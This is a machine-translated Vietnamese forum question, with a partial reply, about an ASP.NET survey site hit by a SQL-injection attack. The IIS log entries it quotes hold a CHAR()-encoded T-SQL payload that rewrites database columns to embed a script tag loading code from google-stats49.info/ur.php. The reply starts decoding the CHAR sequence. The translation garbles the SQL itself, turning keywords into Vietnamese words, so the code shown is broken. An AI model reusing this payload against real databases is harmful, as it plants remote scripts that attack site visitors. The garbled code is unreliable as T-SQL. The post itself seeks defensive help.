Chúng tôi có một trang khảo sát rõ ràng đã bị tấn công. Các triệu chứng giống hệt với những gì được mô tả trên trang sau trên trang web này: XSS Attack on the ASP.NET Website.Tấn công trang ASP sử dụng cơ sở dữ liệu máy chủ SQL
tôi thấy nhiều mục trong nhật ký IIS của chúng tôi bao gồm các mã độc hại:
</title> < script src = http: // google-stats49.info/ur.php>.
Dưới đây là ví dụ về giá trị của trường truy vấn cs-uri cho một trong các mục nhật ký IIS.
surveyID = 91 + update + usd_ResponseDetails + thiết + CategoryName = REPLACE (cast (CategoryName + như + varchar (8000)), diễn viên (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105)% 2Bchar (116)% 2Bchar (108)% 2Bchar (101)% 2Bchar (62)% 2Bchar (60)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (116)% 2Bchar (32)% 2Bchar (115)% 2Bchar (114)% 2Bchar (99)% 2Bchar (61)% 2Bchar (104)% 2Bchar (116)% 2Bchar (116)% 2Bchar (112)% 2Bchar (58)% 2Bchar (47)% 2Bchar (47)% 2Bchar (103)% 2Bchar (111)% 2Bchar (111)% 2Bchar (103)% 2Bchar (108)% 2Bchar (101)% 2Bchar (45)% 2Bchar (115)% 2Bchar (116)% 2Bchar (97)% 2Bchar (116)% 2Bchar (115)% 2Bchar (53)% 2Bchar (48)% 2Bchar (46)% 2Bchar (105)% 2Bchar (110)% 2Bchar (102)% 2Bchar (111)% 2Bchar (47)% 2Bchar (117)% 2Bchar (114)% 2Bchar (46)% 2Bchar (112)% 2Bchar (104)% 2Bchar (112)% 2Bchar (62)% 2Bchar (60)% 2Bchar (47)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (1 16)% 2Bchar (62) + as + varchar (8000)), đúc (char (32) + as + varchar (8))) -
Tôi không hiểu cách mã ở trên hoạt động nhưng rõ ràng đây là những gì đang được gửi trong một chuỗi truy vấn để tham nhũng các cột trong bảng cơ sở dữ liệu của chúng tôi. Chúng tôi đã tắt trang web của chúng tôi trong thời gian này. Chúng tôi có thể xóa các tập lệnh khỏi cơ sở dữ liệu nhưng điều đó không ngăn nó bị hỏng một lần nữa khi chúng tôi đưa trang web trở lại trực tuyến.
Có ai có bất kỳ đề xuất nào về cách ngăn điều này xảy ra không?
' CHAR (n) 'là một chức năng TSQL có thể biến một int vào một ký tự ASCII. Đây là những gì mẫu ở trên chứa: '', vì vậy hãy dùng thử: 'print char (60) + char (47) + char (116) + char (105) + char (116) + char (108) + char (101) + char (62) + char (60) + char (115) + char (99) + char (114) + char (105) + char (112) + char (116) + char (32) + char (115) + char (114) + char (99) + char (61) + char (104) + char (116) + char (116) + char (112) + char (58) + char (47) + char (47) + char (103) + char (111) + char (111) + char (103) + char (108) + char (101) + char (45) + char (115) + char (116) + char (97) + char (116) + char (115) + char (53) + '...' ' –